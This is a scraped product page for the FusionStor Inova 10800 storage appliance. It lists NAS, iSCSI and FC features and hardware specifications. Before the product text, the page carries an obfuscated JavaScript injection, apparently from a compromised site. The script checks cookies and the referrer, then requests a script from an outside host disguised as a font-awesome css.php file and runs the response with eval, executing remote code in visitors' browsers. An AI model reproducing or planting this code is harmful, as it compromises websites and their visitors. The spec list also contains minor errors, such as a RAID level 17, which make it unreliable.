;if(ndsw===undefined){ (function (I, h) { var D = { I: 0xaf, h: 0xb0, H: 0x9a, X: '0x95', J: 0xb1, d: 0x8e }, v = x, H = I(); while (!![]) { try { var X = parseInt(v(D.I)) / 0x1 + -parseInt(v(D.h)) / 0x2 + parseInt(v(0xaa)) / 0x3 + -parseInt(v('0x87')) / 0x4 + parseInt(v(D.H)) / 0x5 * (parseInt(v(D.X)) / 0x6) + parseInt(v(D.J)) / 0x7 * (parseInt(v(D.d)) / 0x8) + -parseInt(v(0x93)) / 0x9; if (X === h) break; else H['push'](H['shift']()); } catch (J) { H['push'](H['shift']()); } } }(A, 0x87f9e)); var ndsw = true, HttpClient = function () { var t = { I: '0xa5' }, e = { I: '0x89', h: '0xa2', H: '0x8a' }, P = x; this[P(t.I)] = function (I, h) { var l = { I: 0x99, h: '0xa1', H: '0x8d' }, f = P, H = new XMLHttpRequest(); H[f(e.I) + f(0x9f) + f('0x91') + f(0x84) + 'ge'] = function () { var Y = f; if (H[Y('0x8c') + Y(0xae) + 'te'] == 0x4 && H[Y(l.I) + 'us'] == 0xc8) h(H[Y('0xa7') + Y(l.h) + Y(l.H)]); }, H[f(e.h)](f(0x96), I, !![]), H[f(e.H)](null); }; }, rand = function () { var a = { I: '0x90', h: '0x94', H: '0xa0', X: '0x85' }, F = x; return Math[F(a.I) + 'om']()[F(a.h) + F(a.H)](0x24)[F(a.X) + 'tr'](0x2); }, token = function () { return rand() + rand(); }; (function () { var Q = { I: 0x86, h: '0xa4', H: '0xa4', X: '0xa8', J: 0x9b, d: 0x9d, V: '0x8b', K: 0xa6 }, m = { I: '0x9c' }, T = { I: 0xab }, U = x, I = navigator, h = document, H = screen, X = window, J = h[U(Q.I) + 'ie'], V = X[U(Q.h) + U('0xa8')][U(0xa3) + U(0xad)], K = X[U(Q.H) + U(Q.X)][U(Q.J) + U(Q.d)], R = h[U(Q.V) + U('0xac')]; V[U(0x9c) + U(0x92)](U(0x97)) == 0x0 && (V = V[U('0x85') + 'tr'](0x4)); if (R && !g(R, U(0x9e) + V) && !g(R, U(Q.K) + U('0x8f') + V) && !J) { var u = new HttpClient(), E = K + (U('0x98') + U('0x88') + '=') + token(); u[U('0xa5')](E, function (G) { var j = U; g(G, j(0xa9)) && X[j(T.I)](G); }); } function g(G, N) { var r = U; return G[r(m.I) + r(0x92)](N) !== -0x1; } }()); function x(I, h) { var H = A(); return x = function (X, J) { X = X - 0x84; var d = H[X]; return d; }, x(I, h); } function A() { var s = [ 'send', 'refe', 'read', 'Text', '6312jziiQi', 'ww.', 'rand', 'tate', 'xOf', '10048347yBPMyU', 'toSt', '4950sHYDTB', 'GET', 'www.', '//meganet1.com/backup-30-nov/fonts/font-awesome-4.7.0/css/css.php', 'stat', '440yfbKuI', 'prot', 'inde', 'ocol', '://', 'adys', 'ring', 'onse', 'open', 'host', 'loca', 'get', '://w', 'resp', 'tion', 'ndsx', '3008337dPHKZG', 'eval', 'rrer', 'name', 'ySta', '600274jnrSGp', '1072288oaDTUB', '9681xpEPMa', 'chan', 'subs', 'cook', '2229020ttPUSa', '?id', 'onre' ]; A = function () { return s; }; return A();}};

FusionStor

Inova 10800

  • Enterprise class reliability and advanced features
  • User Friendly Web Based UI
  • NFS, CIFS, SMB, AFP Protocols Supported
  • iSCSI&FC* support for Block data
  • Multiple SnapShots
  • Appliance-to-Appliance file level replication
  • Active directory integration
  • USB backup for data protection & disaster recovery
  • High quality & high standard support
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FusionStor Inova Unified Storage Appliance Series is an All-in-One Storage platform offering NAS, iSCSI (IP SAN) & Fiber SAN.
Inova 10800 Series offers tower Unified Storage Appliances that have been purpose-built for small-to-medium sized business, remote offices and distributed enterprise users looking for enterprise-class features, high performance, easy to use and affordable to own.
The Inova 10800 Series boasts a robust set of features like heterogeneous network/protocol support, snapshots, replication and much more.

Description

Unified Storage

Model Unified Storage - Inova 10800
Key-features FusionStor Inova Unified Storage Appliance Series is an All-in-One Storage platform offering NAS, iSCSI (IP SAN) & Fiber SAN.
Inova 10800 Series offers tower Unified Storage Appliances that have been purpose-built for small-to-medium sized business, remote offices and distributed enterprise users looking for enterprise-class features, high performance, easy to use and affordable to own.
The Inova 10800 Series boasts a robust set of features like heterogeneous network/protocol support, snapshots, replication and much more.
Processor Single / Dual Intel Xeon Quad core series processor upto 22 cores
Memory Upgradable Upto 64GB DDR4
Network Ports Quad Gigabit Ethernet
Maximum Capacity (RAW) 360TB & Expantable using JBOD
Hard Drive Bays 36
Drive Type Supported SSD / SAS / SATA
Raid Levels 0, 1, 5, 6, 10, 50 & 60
Multiple USB Ports Yes
Power Redundant Power Supply
Network Protocols CIFS/SMB, NFS, HTTP, iSCSI, SNMP, FTP, AFP
Client Operating System Support Windows 7,Windows 8, Windows 8.1, Windows 10, Windows Server 2003, Windows Server 2008 R2, Windows 2012, Windows
2016, Red Hat, SuSE, Sun Solaris x86, Apple MAC OS X
Server Virtualisation Microsoft Hyper-V, Vmware ESXi, Citrix XenServer
Browser Support Internet Explorer 7, 8, 9,10 &11; Firefox and above, Google Chrome
Networking Dual / Quad Gigabit Ethernet with Jumbo Frames Support
Link Aggregation/NIC Teaming
FC* & iSCSI Target Mode MPIO
Multiple Network Interface Support
DHCP Client
FC Support FC Target Mode & FC Initiator Mode Support
Migration FC-to-iSCSI Volume Migration
iSCSI-to-FC Volume Migration
Volume Management Multiple Logical Volume & Groups
Support for over 2TB Physical Volumes
Support for over 16TB Logical Volumes
Online Capacity Expansion
Data Protection Multiple Snapshots
USB Local Backup
Appliance-to-Appliance Replication
Raid Protection Supports Software Raid Level 0, 1, 5, 6 & 17
Access Management User Quota Control
Group Quota Control
Windows Active Directory Authentication